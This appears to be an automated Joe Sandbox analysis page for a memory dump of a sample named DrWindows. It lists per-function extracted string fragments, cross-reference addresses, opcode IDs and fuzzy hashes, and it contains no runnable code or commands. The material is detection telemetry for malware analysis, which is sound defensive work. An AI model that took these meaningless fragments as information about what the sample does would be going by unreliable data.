~, xrefs: 02415300
4, xrefs: 02414041
\, xrefs: 024153F0
&, xrefs: 024146AE
c, xrefs: 02414D7F
f, xrefs: 02415636
P, xrefs: 02415410
z, xrefs: 024152E0
a, xrefs: 02414D89
U, xrefs: 024149ED
a, xrefs: 02415B1D
t, xrefs: 02414AE6
N, xrefs: 02415480
j, xrefs: 02415360
n, xrefs: 02415380
s, xrefs: 02415077
, xrefs: 0241467E
Z, xrefs: 024153E0
|, xrefs: 024152F0
p, xrefs: 02415656
`, xrefs: 02414D17
J, xrefs: 02415460
., xrefs: 0241466E
Z, xrefs: 024144F8
`, xrefs: 02415390
`, xrefs: 02415929
F, xrefs: 02415281
9, xrefs: 02414226
`, xrefs: 02415E27
I, xrefs: 024146A6
X, xrefs: 024153D0
W, xrefs: 024149FD
q, xrefs: 02414686
a, xrefs: 02415272
D, xrefs: 02415277
h, xrefs: 02415350
., xrefs: 02415A60
@, xrefs: 02415696
!, xrefs: 02414C3F
r, xrefs: 02414676
", xrefs: 0241468E
L, xrefs: 024156F6
b, xrefs: 024153A0
/, xrefs: 02414C27
c, xrefs: 0241591A
y, xrefs: 024143D1
$, xrefs: 0241469E
Y, xrefs: 02414A0D
[, xrefs: 02414A1D
], xrefs: 02414A2D
Y, xrefs: 024144F3
H, xrefs: 02415450
h, xrefs: 02414666
f, xrefs: 024153C0
J, xrefs: 02414873
c, xrefs: 02415D51
f, xrefs: 02414F39
b, xrefs: 0241591F
O, xrefs: 024156A6
l, xrefs: 02414869
v, xrefs: 02415340
b, xrefs: 02415B18
*, xrefs: 0241464E
@, xrefs: 02415490
8, xrefs: 024146BE
y, xrefs: 024150A7
{, xrefs: 024144EE
o, xrefs: 02415057
b, xrefs: 02415E1D
e, xrefs: 02415646
D, xrefs: 02415878
`, xrefs: 02415BF6
V, xrefs: 024147C1
q, xrefs: 02415067
T, xrefs: 02415430
:, xrefs: 024149E5
1, xrefs: 02414E9B
u, xrefs: 02415087
x, xrefs: 02414B06
O, xrefs: 02415488
|, xrefs: 024150BF
b, xrefs: 02415D56
\, xrefs: 02414A25
`, xrefs: 02415D60
, xrefs: 02414C37
c, xrefs: 02415B13
6, xrefs: 02414BF7
l, xrefs: 02415370
R, xrefs: 02415420

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: $ $!$"$$$&$'$*$,$.$.$/$/$1$3$3$4$6$8$8$9$:$@$@$A$D$D$D$E$F$H$I$I$J$J$K$L$L$M$N$O$O$P$R$T$U$V$V$W$X$Y$Y$Z$Z$Z$[$\$\$]$^$`$`$`$`$`$`$`$`$a$a$a$a$a$a$a$a$b$b$b$b$b$b$b$c$c$c$c$c$c$d$e$f$f$f$g$h$h$j$l$l$m$n$o$p$p$p$q$q$r$r$r$s$t$t$u$v$w$w$x$x$y$y$z${${$|$|$|$}$~$~
API String ID: 0-970517751
Opcode ID: b4f7e05ed155bd3341b5ead08bf746a9c98057785fb106ccbcc0ede2903888d2
Instruction ID: c2c872dff3cc0909990057662c1d7ef2cba50342732254da396b23e1e35877dc
Opcode Fuzzy Hash: b4f7e05ed155bd3341b5ead08bf746a9c98057785fb106ccbcc0ede2903888d2
Instruction Fuzzy Hash: E4036C3150C7C18AD3259B38C4947AFBBE2ABD6324F488A6ED1E9873D2D7798445CB13

Function 02422F5F Relevance: 28.1, Strings: 22, Instructions: 608
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,, xrefs: 024233E0
=, xrefs: 02423254
b, xrefs: 02423457
`, xrefs: 02423461
`, xrefs: 02423008
a, xrefs: 02423003
c, xrefs: 02422FF9
c, xrefs: 02423452
`, xrefs: 024236CF
,, xrefs: 0242353E
!@, xrefs: 02422F92
?, xrefs: 0242325E
/, xrefs: 024233EF
/, xrefs: 024233EA
$, xrefs: 024233E5
a, xrefs: 024236CA
a, xrefs: 0242345C
b, xrefs: 024236C5
x, xrefs: 024235D3
b, xrefs: 02422FFE
y, xrefs: 024235D8
c, xrefs: 024236C0

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: !@$$$,$,$/$/$=$?$`$`$`$a$a$a$b$b$b$c$c$c$x$y
API String ID: 0-2322859148
Opcode ID: 73cc8527d6a39d7de0486f188cf7fa0a20367f878562f651a36caf35f848ad6e
Instruction ID: 837bd75d2983061264e45fa6a01a4a00d214978c96c8b48fe5f9d042d79f041d
Opcode Fuzzy Hash: 73cc8527d6a39d7de0486f188cf7fa0a20367f878562f651a36caf35f848ad6e
Instruction Fuzzy Hash: E232E17160C7908FD3248F29C49536FBFE2ABC5314F49896EE5D587382D7B98889CB42

Function 02437FFF Relevance: 19.0, Strings: 15, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Y, xrefs: 0243805F
#, xrefs: 0243825C
`, xrefs: 024380FA
5, xrefs: 0243820C
X, xrefs: 0243800D
X, xrefs: 0243805A
\, xrefs: 024381FD
Z, xrefs: 02438017
Y, xrefs: 02438012
~, xrefs: 024380BE
C, xrefs: 02438207
e, xrefs: 024380F5
j, xrefs: 02438104
Z, xrefs: 02438064
i, xrefs: 02438202

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: #$5$C$X$X$Y$Y$Z$Z$\$`$e$i$j$~
API String ID: 0-3294723363
Opcode ID: 218b22c1c0bb5ff38fa90c5a0a5a95447d190bf781458c7b06e1a19171da4b10
Instruction ID: 90d2dbc28507df3cec643e741c884ee7e1ce6101aea695ae70a3ade645806342
Opcode Fuzzy Hash: 218b22c1c0bb5ff38fa90c5a0a5a95447d190bf781458c7b06e1a19171da4b10
Instruction Fuzzy Hash: 1B91142360CBD04AD306857C884435BEED31BEA124F1ECA6EE4E69B3C6C579C946C363

Function 024388FF Relevance: 11.8, Strings: 9, Instructions: 571
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

.'(), xrefs: 02438977, 02438A30
{.] , xrefs: 02438B10
!", xrefs: 02438B18
C, xrefs: 02438A3E
.;, xrefs: 02438BF1
p*v,, xrefs: 02438B08
>C, xrefs: 02438A46
"#$%, xrefs: 02438F6B
{|, xrefs: 02438D2E

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: !"$"#$%$.'()$.;$>C$C$p*v,${.] ${|
API String ID: 0-264043890
Opcode ID: 500fa08c355b7ed34687b7a4f33d1b5f330ad660a4a1a4a5ac1648c8c45b8f68
Instruction ID: 88576098fe4f7bdd123d4b2576f4435a3877979240865419a05150330f7fd165
Opcode Fuzzy Hash: 500fa08c355b7ed34687b7a4f33d1b5f330ad660a4a1a4a5ac1648c8c45b8f68
Instruction Fuzzy Hash: 8502DA71A083009FE310DF64C881B6BBBE5EF89314F14882DF6959B3A1E779D849CB56

Function 0240ACCF Relevance: 10.4, Strings: 8, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8>&:, xrefs: 0240AE26
YAG~u, xrefs: 0240AF5D
`;;2, xrefs: 0240B0A3
, xrefs: 0240B00F, 0240B0ED
`;;2, xrefs: 0240AF7D
}x, xrefs: 0240AD2F
u, xrefs: 0240AEB8
/37), xrefs: 0240AE16

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: /37)$8>&:$YAG~u$`;;2$`;;2$u$}x$
API String ID: 0-2031701488
Opcode ID: afbf182f086d4cb3678fef5cd9cf034a3b5aeb1cf8c39da1fee8d2667e1554dd
Instruction ID: 33c96df83330157f861eef2ad51da343a07cc86b13bea397d8f46143af236f51
Opcode Fuzzy Hash: afbf182f086d4cb3678fef5cd9cf034a3b5aeb1cf8c39da1fee8d2667e1554dd
Instruction Fuzzy Hash: 80C119B160C3918FD315CF2984A07ABBFD2AFD7215F1889ADE4E64B382D7394909C752

Function 0240C2CF Relevance: 9.2, Strings: 7, Instructions: 401COMMON

Download Yara Rule

Strings

n, xrefs: 0240C2F1
#xDz, xrefs: 0240C43D
N[\D, xrefs: 0240C665, 0240C72F, 0240C641, 0240C513, 0240C670, 0240C75D, 0240C726, 0240C534
N[\D, xrefs: 0240C56F
kl, xrefs: 0240C49C
'D F, xrefs: 0240C435
A|}~, xrefs: 0240C445

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: #xDz$'D F$A|}~$N[\D$N[\D$kl$n
API String ID: 0-490458541
Opcode ID: 873e877496f468c046363248420fa7ca63a51e9b47053ced3edd0b31dc018a30
Instruction ID: 929b2458c62ddc0d1c6ef899ba5325fbf3c1414f0626a608eae7ae196b6db664
Opcode Fuzzy Hash: 873e877496f468c046363248420fa7ca63a51e9b47053ced3edd0b31dc018a30
Instruction Fuzzy Hash: 1FC1357260C3618BC724CF64C8D066FBBD3ABD2208F198A3ED9D54B382C771944AC782

Function 0241B57F Relevance: 8.8, Strings: 6, Instructions: 1297COMMON

Download Yara Rule

Strings

wEtG, xrefs: 0241B903
cba`, xrefs: 0241C3A0
cba`, xrefs: 0241B5D2
cba`, xrefs: 0241BAAC
I,~M, xrefs: 0241C3B6
PQ, xrefs: 0241B91B

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: I,~M$PQ$cba`$cba`$cba`$wEtG
API String ID: 0-3803835663
Opcode ID: c0e622a38d6e89333ec19615400187fc370fb2207b5e87d2135d83f7d3f96c98
Instruction ID: b9e28cec5045f2bf157c71600baaaa4e9b637cea2cab09cbf89ad178c4e228f7
Opcode Fuzzy Hash: c0e622a38d6e89333ec19615400187fc370fb2207b5e87d2135d83f7d3f96c98
Instruction Fuzzy Hash: 20923174A483409BE715DF65CC91B3BBBE2EBD5704F28882EE9848B391D7758C41CB92

Function 0241F7AF Relevance: 8.4, Strings: 6, Instructions: 886COMMON

Download Yara Rule

Strings

I6F8, xrefs: 0241FEBD
-+, xrefs: 0241FBA7
n, xrefs: 0241FECD
@@=:, xrefs: 0241FBD8
P9&', xrefs: 0241FAB5
J:<<, xrefs: 0241FEC5

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: @@=:$I6F8$J:<<$P9&'$n$-+
API String ID: 0-2611983443
Opcode ID: 27c3a7760c386cf95c99434ecedb3c58cae1cfce36d1c324395d2ebf7391ce24
Instruction ID: 4ab8a0ea2b09c731d171f9c21fff87c0c7a505deb7b2bcfe6983f39bf8c06d61
Opcode Fuzzy Hash: 27c3a7760c386cf95c99434ecedb3c58cae1cfce36d1c324395d2ebf7391ce24
Instruction Fuzzy Hash: FE526A3150C3908FC725DF28C85076F7BE2AF96314F09866EE8D95B792D735890ACB92

Function 0240FC18 Relevance: 8.0, Strings: 6, Instructions: 529COMMON

Download Yara Rule

Strings

`~, xrefs: 0241023C
"# `, xrefs: 02410079
,, xrefs: 0240FFF7
s, xrefs: 024100A5
qx, xrefs: 0241025D
I~, xrefs: 02410252

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: "# `$,$I~$`~$qx$s
API String ID: 0-4056803109
Opcode ID: 547af2c3ae768270571662ed18bf10003356d808a99eec917fcb3f8bc15f1dbb
Instruction ID: 1543614bbb1f3bf14860ad50b4812301d50a00e2d833abc696794fc9fceabff9
Opcode Fuzzy Hash: 547af2c3ae768270571662ed18bf10003356d808a99eec917fcb3f8bc15f1dbb
Instruction Fuzzy Hash: FE02CDB010C3D18BD3768F2584A07EBBFE1EF92304F1899ADD4DA5B252D779004A8B67

Function 0241E05E Relevance: 7.8, Strings: 6, Instructions: 331COMMON

Download Yara Rule

Strings

=z9|, xrefs: 0241E286
CE, xrefs: 0241E0DC
Vj)l, xrefs: 0241E341
JK, xrefs: 0241E0EC
}~, xrefs: 0241E28E
GI, xrefs: 0241E0E4

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: =z9|$JK$Vj)l$}~$CE$GI
API String ID: 0-2837980318
Opcode ID: a9a259ffa8aa1a4afd5b058939c9ab953cba7915e5cd78490fe0707965f13c13
Instruction ID: 6018ec4854ff8ed05ea4e9bb7c31cdaf39d0cf1a71d7965c27e4f0f4bb5d1195
Opcode Fuzzy Hash: a9a259ffa8aa1a4afd5b058939c9ab953cba7915e5cd78490fe0707965f13c13
Instruction Fuzzy Hash: 389132796083148BC320EF29C8A176BB7F2EF95314F09981DE8C59B791E7748646C792

Function 0242B196 Relevance: 7.7, Strings: 6, Instructions: 244COMMON

Download Yara Rule

Strings

fa, xrefs: 0242B365
='0{, xrefs: 0242B34D
);?g, xrefs: 0242B35D
;>*2, xrefs: 0242B33D
9nI9, xrefs: 0242B345
[93=, xrefs: 0242B355

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: );?g$9nI9$;>*2$='0{$[93=$fa
API String ID: 0-1058667609
Opcode ID: 41be59497f95a888370b410f898ef03c79cb5fdb301ac616a649d98276f359e5
Instruction ID: 4c07d827f057a8c7ac5ed8148691cc7d430b69781fa6b807f82167871b142b85
Opcode Fuzzy Hash: 41be59497f95a888370b410f898ef03c79cb5fdb301ac616a649d98276f359e5
Instruction Fuzzy Hash: 8D81C67550C3E18FC3118F3A849076ABBE2AF96224F548B6DF4E55B3D2C33589498B52

Function 0242E9F4 Relevance: 6.6, Strings: 5, Instructions: 368COMMON

Download Yara Rule

Strings

k, xrefs: 0242EE25
0, xrefs: 0242ED9F
#, xrefs: 0242EE1B
AGsW, xrefs: 0242EE05
P, xrefs: 0242EEC3

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: #$0$AGsW$P$k
API String ID: 0-1629916805
Opcode ID: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction ID: 377dbd893c8d46bc7c47d7d96a512c9094a67b8fe3b4a21321ca79dd7dbe4299
Opcode Fuzzy Hash: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction Fuzzy Hash: CDC1E2713183918ED328CF3AC4913ABBBD2AFD2304F589A6ED4D58B2D1DB799449C706

Function 0240E7C4 Relevance: 6.5, Strings: 5, Instructions: 275COMMON

Download Yara Rule

Strings

z@(, xrefs: 0240E8CA
N~ :, xrefs: 0240E8B4
VgfW, xrefs: 0240E89E
I@, xrefs: 0240EA33
F^, xrefs: 0240EA28

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: F^$I@$N~ :$VgfW$z@(
API String ID: 0-3506082874
Opcode ID: 01845d3766adc81aa739c5ea8dbca92eb081da4d73060a58daa09bb76f621cb6
Instruction ID: 80d328e08212c374f350260c00c56f8af36f71fa4c57c14692f772e30a4033eb
Opcode Fuzzy Hash: 01845d3766adc81aa739c5ea8dbca92eb081da4d73060a58daa09bb76f621cb6
Instruction Fuzzy Hash: 6391CEB060D3C18BD335CF25D8A0BEBBBE0AB96714F188D6DD4D95B282D738414ADB52

Function 024385AF Relevance: 6.5, Strings: 5, Instructions: 265COMMON

Download Yara Rule

Strings

`, xrefs: 02438847
cba`cba`, xrefs: 0243874E
c, xrefs: 0243883B
a, xrefs: 02438843
b, xrefs: 0243883F

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: `$a$b$c$cba`cba`
API String ID: 0-3925122358
Opcode ID: 6de7855dd3b573a75a2be89ed7a8526ed050675c86403eff80f6f4124e41be1d
Instruction ID: 4eb481fc95f378f1e49866a7a003bccc6bf1aafe201f060d783d4cad53a80232
Opcode Fuzzy Hash: 6de7855dd3b573a75a2be89ed7a8526ed050675c86403eff80f6f4124e41be1d
Instruction Fuzzy Hash: 3FA13A75E083448FDB0ACBACC8513AEFFF2AB49304F09846EE446A7392D7798945CB51

Function 0240DCDD Relevance: 6.5, Strings: 5, Instructions: 203COMMON

Download Yara Rule

Strings

4cde, xrefs: 0240E10B
CJ, xrefs: 0240DFED
F'k), xrefs: 0240E075
){+}, xrefs: 0240E0F7
GS, xrefs: 0240DFE6

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: ){+}$4cde$CJ$F'k)$GS
API String ID: 0-4192230409
Opcode ID: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction ID: fab54be419c8fab57ce7239c12812ca6de18f055e4e73dc95204b5168adaeb33
Opcode Fuzzy Hash: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction Fuzzy Hash: E6B11AB84053058FE354DF629688FAA7BB0FB25310F1A82E9E0992F776D7748405CF96

Function 02436CA9 Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

a, xrefs: 0243715C
`, xrefs: 02437160
c, xrefs: 02437154
b, xrefs: 02437158

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: `$a$b$c
API String ID: 0-1877310501
Opcode ID: 952576d7f39b6d299cbf4871333867f8500d3767c368ce29a2878de7e1d783b7
Instruction ID: 57dc782cb0b697812c196b6612120c104738be55785498f7a13e7ea9502b930d
Opcode Fuzzy Hash: 952576d7f39b6d299cbf4871333867f8500d3767c368ce29a2878de7e1d783b7
Instruction Fuzzy Hash: 05128E21508BD2DED326C73C8848745BF913B67328F088399D4E55BBD2C3AAA565C7E2

Function 02427ADF Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

YNMZ, xrefs: 02427DB5
8zVc, xrefs: 02427BEC
cba`, xrefs: 02427B30
4zVc, xrefs: 02427B8B

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: 4zVc$8zVc$YNMZ$cba`
API String ID: 0-1799417857
Opcode ID: bc831a4510dcd92797da2c8c3585a8828241f1fce6b9a62e8524d894f8d2262f
Instruction ID: b4ffd8d9a59ddf6d2806ff9c0b15a60335b2fb863ebf1d7670469f15b8b62d0d
Opcode Fuzzy Hash: bc831a4510dcd92797da2c8c3585a8828241f1fce6b9a62e8524d894f8d2262f
Instruction Fuzzy Hash: 779167B2E043209BE324DF36CC9173BB692EBC1314F59843EE9859B391E7789809C795

Function 0240B11F Relevance: 4.1, Strings: 3, Instructions: 396COMMON

Download Yara Rule

Strings

w, xrefs: 0240B2CB
_P, xrefs: 0240B574
EIFT, xrefs: 0240B1E4, 0240B1EF, 0240B230

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: EIFT$_P$w
API String ID: 0-15419
Opcode ID: 68b1dbe8d576e9b22934de0b0eae71d8baafe04d7278d7fee9c3ac9ee891310c
Instruction ID: 31cc5d4d5f9cbae4e87b1d8ce3d127c48989e232fa92d565f346e8622aca747c
Opcode Fuzzy Hash: 68b1dbe8d576e9b22934de0b0eae71d8baafe04d7278d7fee9c3ac9ee891310c
Instruction Fuzzy Hash: CAC13571A487409BD318DF35C8916AFBBE6EBD1318F18892DE4D28B381DB38C5098B16

Function 0241A919 Relevance: 4.1, Strings: 3, Instructions: 308COMMON

Download Yara Rule

Strings

t3]5, xrefs: 0241A979
Z7]9, xrefs: 0241A980
B? !, xrefs: 0241A98E

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: B? !$Z7]9$t3]5
API String ID: 0-3999537062
Opcode ID: 4521cfc2036f0ba435a7162403a59bd12656275ca58e26022258544b05f409cf
Instruction ID: af424ae036ba93894a987732e2f1c84b46fe285823140363058ef42b4222d346
Opcode Fuzzy Hash: 4521cfc2036f0ba435a7162403a59bd12656275ca58e26022258544b05f409cf
Instruction Fuzzy Hash: 0D81CD705017228BC724CF29C891763B7F2FF96764B19C69EC8864FBA5E735A482CB40

Function 0240EDBB Relevance: 3.9, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

OK, xrefs: 0240EDBB
P, xrefs: 0240EF14
$, xrefs: 0240EE26

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: $$OK$P
API String ID: 0-279604475
Opcode ID: 15ca00153eb2250557c4211e580d213dc21f231b4513146c676bd93c0b65a243
Instruction ID: d57574dba92d21b7fc63109d38397e1575ca837d089d75e00bcf375d7c058771
Opcode Fuzzy Hash: 15ca00153eb2250557c4211e580d213dc21f231b4513146c676bd93c0b65a243
Instruction Fuzzy Hash: 88511872B583914AD334CB39C8917EFBAD29BC5204F1DC97DC48EAB349EA3809498752

Function 02422086 Relevance: 3.4, Strings: 2, Instructions: 854COMMON

Download Yara Rule

Strings

B:@<, xrefs: 02422671
F>?0, xrefs: 02422678

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: B:@<$F>?0
API String ID: 0-4011826714
Opcode ID: 43dd4b3df55ac23aa28015d1e3465bbb140ee4516a86126455786abaf0ede2d2
Instruction ID: 8d99ac94b486fa24004225be4120b4599cda6dc88e9e3e7cdd354af1a4eedc77
Opcode Fuzzy Hash: 43dd4b3df55ac23aa28015d1e3465bbb140ee4516a86126455786abaf0ede2d2
Instruction Fuzzy Hash: 343266B1A007228BCB24CF26C892377B7B2FF91314B59825DDC825F794E7B5A855CB90

Function 0240650F Relevance: 3.3, Strings: 2, Instructions: 815COMMON

Download Yara Rule

Strings

8, xrefs: 02406E68
0, xrefs: 02406E70

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: f6efbbce20de2b023d6cb677cdd126fc4c2fcca28c45f4f5bbedd8c93d3440d6
Instruction ID: 35666460b6d6c7d5fc042ed6910125eb62275d16ffd0ad4d9e8e292bf54aa32b
Opcode Fuzzy Hash: f6efbbce20de2b023d6cb677cdd126fc4c2fcca28c45f4f5bbedd8c93d3440d6
Instruction Fuzzy Hash: D97248716093409FD714CF18C890B9BBBE5BF84318F05892EF9898B391D775D998CB92

Function 0242E046 Relevance: 3.1, Strings: 2, Instructions: 614COMMON

Download Yara Rule

Strings

', xrefs: 0242E578
iJ, xrefs: 0242E464

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: '$iJ
API String ID: 0-30662343
Opcode ID: 937b0804fd8ab605508d7c3acb2fea55fcefc87acd485b9bf219c3b064991a4e
Instruction ID: 47d8ebd5fa3d07984462e12801054681d4e65e111bc21d76f9fc41bcbed58479
Opcode Fuzzy Hash: 937b0804fd8ab605508d7c3acb2fea55fcefc87acd485b9bf219c3b064991a4e
Instruction Fuzzy Hash: 6D02E97060C3E18FD729CF2A80603ABBBE1AF97304F58496ED4D99B342D77985098B57

Function 02423BDF Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

TU, xrefs: 02423C05
c!", xrefs: 02423D9E

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: TU$c!"
API String ID: 0-3813282519
Opcode ID: 07d7830700073c08e9d1fd8ce3ff7e5ea0fdf86749ca1dea694e3d2315458f5e
Instruction ID: 6a17c169ae75f54046291a7e9380223f411f13291cd44e524c2e735f09dcd005
Opcode Fuzzy Hash: 07d7830700073c08e9d1fd8ce3ff7e5ea0fdf86749ca1dea694e3d2315458f5e
Instruction Fuzzy Hash: 97C143726043108BD714DF2ACC9277BBBF6EFC5214F48846EE5868B381E738D94A8752

Function 02405BDF Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

IEND, xrefs: 02405FD0
), xrefs: 02405C5A

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 1306cea1f5d6aadea9a78ef516509e2f3a6b653b0b8255097f7b2dba51cbb62b
Instruction ID: 9f8e3d5f420366aef8558af535b69c3e1c97bc589f47143cbbbc0133ffb19f28
Opcode Fuzzy Hash: 1306cea1f5d6aadea9a78ef516509e2f3a6b653b0b8255097f7b2dba51cbb62b
Instruction Fuzzy Hash: ECD17BB19083489FD720CF18C884B5BBBE5EB94304F14492EF9999B381D775D988CF92

Function 0242D0D2 Relevance: 2.8, Strings: 2, Instructions: 308COMMON

Download Yara Rule

Strings

qjjw, xrefs: 0242D315
3, xrefs: 0242F03C

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: 3$qjjw
API String ID: 0-3235754969
Opcode ID: 50568b809b25763dbc2569ca17771ed34f5ca4e1bbfdea73410681e15be38615
Instruction ID: 5914d8aae164b85cbcfdca1e9c9355b47983fbfa466f8c99d43d48375382a547
Opcode Fuzzy Hash: 50568b809b25763dbc2569ca17771ed34f5ca4e1bbfdea73410681e15be38615
Instruction Fuzzy Hash: D8A12631A08391DBE7258B25C8917ABBBE39FD6300F08896ED4C94F3C6D774844AC762

Function 0240A9DF Relevance: 2.8, Strings: 2, Instructions: 292COMMON

